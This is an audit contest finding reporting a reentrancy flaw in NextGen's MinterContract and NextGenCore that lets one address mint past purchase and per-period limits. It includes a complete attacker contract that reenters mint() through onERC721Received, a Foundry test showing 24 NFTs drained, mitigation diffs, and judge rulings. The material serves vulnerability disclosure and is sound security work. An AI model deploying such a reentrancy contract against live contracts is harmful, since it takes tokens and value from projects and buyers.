An attacker can mint more than they are allowed due to MinterContract.sol#mint() reentrancy vulnerability

[captainmangoC4]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L196-L254 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L189-L200

Vulnerability details

Bug Description

_mintProcessing() in NextGenCore.sol calls OpenZeppelin’s _safeMint() from their ERC721 contract to mint a token. _safeMint() checks if the target address is a contract by calling _checkOnERC721Received() to ensure it supports receiving NFTs. If the target address is a contract and implements onERC721Received() as expected, it may contain malicious logic that allows for a reentrancy attack into mint() as it does not follow the checks, effects and interactions (CEI) pattern in NextGenCore.sol and MinterContract.sol. The problem arises due to the transaction dependency order, NextGenCore.sol#L193-L198:

_mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
if (phase == 1) {
tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
} else {
tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
}

_mintProcessing() is called before tokensMintedPerAddress is updated. This enables the attacker to reenter mint() and mint more than the _maxCollectionPurchases without their tokensMintedPerAddress being updated, allowing them to bypass this require statement MinterContract.sol#L224:

require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= gencore.viewMaxAllowance(col), "Max");

To add to this, if a collection is set to a periodic sales model whereby mints are limited to 1 token during each time period (e.g. minute, hour, day), this limit can also be bypassed allowing the attacker to mint multiple tokens within a time period. Looking at the transaction order MinterContract.sol#L234-L240:

for(uint256 i = 0; i < _numberOfTokens; i++) {
uint256 mintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col);
gencore.mint(mintIndex, mintingAddress, _mintTo, tokData, _saltfun_o, col, phase);
}
collectionTotalAmount[col] = collectionTotalAmount[col] + msg.value;
// control mechanism for sale option 3
if (collectionPhases[col].salesOption == 3) {

gencore.mint() is called before the logic for a collection with a periodic sales model (if (collectionPhases[col].salesOption == 3)) is executed. This enables the attacker to reenter mint() and mint multiple tokens without the tDiff being calculated, allowing them to bypass this require statement MinterContract.sol#L251:

require(tDiff>=1 && _numberOfTokens == 1, "1 mint/period");

Impact

The attacker can mint more than the maxCollectionPurchases and multiple tokens within a timePeriod. If projects that rely on this type of logic as part of their business model (e.g. Nouns DAO) experience this exploit it will likely have a detrimental impact on the value of the existing NFTs (if any) and the reputation of the project thereafter. Given the nature of these "long-lived" mints, this could be at the project's financial detriment.

Proof of Concept

Alice utilizes NextGen to create a collection. She has 24 art pieces she would like sell using a periodic sales model. She sets the parameters as such that the sale will last 24 hours, setting each _timeperiod to an hour. To ensure the NFTs are fairly distributed she sets the _maxCollectionPurchases to 1. As it stands users should only be allowed to mint 1 NFT per hour and 1 NFT per address. Despite this, Bob plans to exploit the contracts by minting all 24 NFTs to his address in one transaction. Here is an example of a malicious contract that would allow him to do this:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

import {IERC721Receiver} from "../../contracts/IERC721Receiver.sol";
// Be sure to create these interfaces as they are not in the repo
import {INextGenCore} from "./INextGenCore.sol";
import {INextGenMinterContract} from "./INextGenMinterContract.sol";

contract Malicious is IERC721Receiver {
    uint256 private claimed;
    uint256 private count;
    address private owner;
    INextGenCore private nextGenCore;
    INextGenMinterContract private nextGenMinterContract;
    bytes32[] private merkleProof = new bytes32[](0);

    constructor(
        uint _count,
        address _nextGenCore,
        address _nextGenMinterContract
    ) {
        nextGenCore = INextGenCore(_nextGenCore);
        nextGenMinterContract = INextGenMinterContract(_nextGenMinterContract);
        count = _count;
        owner = msg.sender;
    }

    // Start the attack
    function initiateExploit() public {
        require(msg.sender == owner);
        nextGenMinterContract.mint{value: 0.1 ether}(
            1, // _collectionID
            1, // _numberOfTokens
            0, // _maxAllowance
            "foo", // _tokenData
            address(this), // _mintTo
            merkleProof,
            address(0), // _delegator
            123 // _saltfun_o
        );
    }

    function claimNext() internal {
        // Update the claimed amount
        claimed++;

        // Continue reentering until claimed amount is reached
        if (claimed != count) {
            nextGenMinterContract.mint{value: 0.1 ether}(
                1, // _collectionID
                1, // _numberOfTokens
                0, // _maxAllowance
                "foo", // _tokenData
                address(this), // _mintTo
                merkleProof,
                address(0), // _delegator
                123 // _saltfun_o
            );
        }
    }

    // This is triggered every time the contract receives an NFT
    function onERC721Received(
        address /*operator*/,
        address /*from*/,
        uint256 tokenId,
        bytes calldata /*data*/
    ) external override returns (bytes4) {
        // Send NFTs to Bob
        nextGenCore.transferFrom(address(this), owner, tokenId);

        // Reenter
        claimNext();

        return IERC721Receiver.onERC721Received.selector;
    }

    receive() external payable {}
}

Foundry test:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

import {Test} from "forge-std/Test.sol";
import {Malicious} from "./Malicious.sol";
import {NextGenAdmins} from "../../contracts/NextGenAdmins.sol";
import {NextGenCore} from "../../contracts/NextGenCore.sol";
import {randomPool} from "../../contracts/XRandoms.sol";
import {NextGenRandomizerNXT} from "../../contracts/RandomizerNXT.sol";
import {DelegationManagementContract} from "../../contracts/NFTdelegation.sol";
import {NextGenMinterContract} from "../../contracts/MinterContract.sol";

contract Mint is Test {
    NextGenCore public nextGenCore;
    NextGenAdmins public adminsContract;
    NextGenRandomizerNXT public nextGenRandomizerNXT;
    randomPool public randomPoolContract;
    NextGenMinterContract public nextGenMinterContract;
    DelegationManagementContract public delegationManagementContract;

    uint256 public mintAmount;
    address public bob;
    Malicious public malicious;

    function setUp() public {
        vm.warp(1704027600); // Arbitrary number for testing purpopses 

        // Initialize contracts
        adminsContract = new NextGenAdmins();
        nextGenCore = new NextGenCore("foo", "bar", address(adminsContract));
        randomPoolContract = new randomPool();
        nextGenRandomizerNXT = new NextGenRandomizerNXT(address(randomPoolContract), address(adminsContract), address(nextGenCore));
        delegationManagementContract = new DelegationManagementContract();
        nextGenMinterContract = new NextGenMinterContract(address(nextGenCore), address(delegationManagementContract), address(adminsContract));

        /* 
        * ======================
        * Create a collection
        * ======================
        */

        string[] memory _collectionScript = new string[](1);

        nextGenCore.createCollection(
            "foo", // _testCollectionName
            "bar", // _testArtist
            "baz", // _testDescription
            "qux", // _testWebsite
            "quux", // _testLicense
            "corge", // _testBaseURI
            "grault", // _testLibrary
            _collectionScript
        );

        address _collectionArtistAddress = makeAddr("artist");

        nextGenCore.setCollectionData(
            1, // _collectionID
            _collectionArtistAddress,
            1, // _maxCollectionPurchases
            24, // _collectionTotalSupply
            block.timestamp + 1 days // _setFinalSupplyTimeAfterMint
        );

        nextGenCore.addRandomizer(
            1, // _collectionID
            address(nextGenRandomizerNXT) // _randomizerContract
        );

        nextGenMinterContract.setCollectionCosts(
            1, // _collectionID
            0.1 ether, // _collectionMintCost
            0.1 ether, // _collectionEndMintCost
            0, // _rate
            3600, // _timePeriod /* One hour */
            3, // _salesOption
            address(delegationManagementContract) // _delAddress
        );

        uint256 _allowlistStartTime = block.timestamp;
        uint256 _allowlistEndTime = _allowlistStartTime + 1 days;
        uint256 _publicStartTime = _allowlistEndTime + 1 days;
        uint256 _publicEndTime = _publicStartTime + 1 days;

        nextGenMinterContract.setCollectionPhases(
            1, // _collectionID
            _allowlistStartTime,
            _allowlistEndTime,
            _publicStartTime,
            _publicEndTime,
            bytes32(0) // _merkleRoot
        );

        nextGenCore.addMinterContract(address(nextGenMinterContract));

        /* 
        * ======================
        * PoC logic
        * ======================
        */

        // Set the block.timestamp to the public sale start time for simplicity
        vm.warp(_publicStartTime);

        // Set the amount of NFTs to maliciously mint
        mintAmount = 24;

        // Create an address for Bob
        bob = makeAddr("bob");

        // Bob deploys the malicious contract
        vm.prank(bob);
        malicious = new Malicious(mintAmount, address(nextGenCore), address(nextGenMinterContract));

        // Ensure the malicious has enough ETH to mint all 24 NFTs
        vm.deal(address(malicious), 2.4 ether);
    }

    function test_Mint() public {
        // Get Bob's balance before the exploit
        uint256 bobNFTBalanceBefore = nextGenCore.balanceOf(bob);
        emit log_named_uint("Bob's NFT Balance Before Exploit", bobNFTBalanceBefore);

        // Bob initiates the exploit
        vm.prank(bob);
        malicious.initiateExploit();

        // Get Bob's balance after the exploit
        uint256 bobNFTBalanceAfter = nextGenCore.balanceOf(bob);
        emit log_named_uint("Bob's NFT Balance After Exploit", bobNFTBalanceAfter);

        // Assert Bob minted all 24 NFTs
        assertEq(bobNFTBalanceAfter, mintAmount);
    }
}

forge test --match-path test/foundry/Mint.t.sol --via-ir -vv

Tools Used

Manual Review and Foundry.

Recommended Mitigation Steps

Update mint() in NextGenCore.sol to follow the CEI pattern, NextGenCore.sol#L193-L198:

-       _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
        if (phase == 1) {
        tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
        } else {
        tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
        }
+       _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);

Use OpenZeppelin’s nonReentrant() modifier from their ReentrancyGuard.sol contract on mint() in MinterContract.sol, MinterContract.sol#L196:

        function mint(
                uint256 _collectionID,
                uint256 _numberOfTokens,
                uint256 _maxAllowance,
                string memory _tokenData,
                address _mintTo,
                bytes32[] calldata merkleProof,
                address _delegator,
                uint256 _saltfun_o
-           ) public payable {
+               ) public nonReentrant payable {

Assessed type

Reentrancy

[captainmangoC4]

Issue created on behalf of judge in order to split into 2 findings

[c4-judge]

alex-ppg marked the issue as duplicate of #572

[alex-ppg]

The Warden's recommendation is not correct for the periodic mint model as mintAndAuction would still be affected, however, no 75% option exists and as such I will mark this submission as of sufficient quality.

[c4-judge]

alex-ppg marked the issue as satisfactory

[c4-judge]

alex-ppg marked the issue as unsatisfactory: Invalid